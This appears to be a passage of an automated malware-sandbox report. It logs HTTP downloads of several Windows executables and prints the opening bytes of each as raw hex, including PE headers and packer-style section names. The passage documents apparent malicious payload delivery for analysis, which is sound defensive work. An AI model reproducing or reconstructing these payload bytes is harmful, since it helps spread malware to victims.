00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 12:17:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:43 GMTContent-Type: application/octet-streamContent-Length: 884736Last-Modified: Mon, 16 Dec 2024 11:35:11 GMTConnection: keep-aliveETag: "6760106f-d8000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 29 18 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 77 6b 6a 6e 70 6d 73 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 69 6e 63 61 67 78 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:44 GMTContent-Type: application/octet-streamContent-Length: 393728Last-Modified: Thu, 12 Dec 2024 07:55:00 GMTConnection: keep-aliveETag: "675a96d4-60200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 67 05 00 64 00 00 00 00 30 06 00 98 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 61 05 00 00 10 00 00 00 62 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ab 00 00 00 80 05 00 00 60 00 00 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 7a 1e 00 00 30 06 00 00 3c 00 00 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 12:17:47 GMTContent-Type: application/octet-streamContent-Length: 3004928Last-Modified: Mon, 16 Dec 2024 11:36:52 GMTConnection: keep-aliveETag: "676010d4-2dda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 be fc 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 6e 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 6d 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 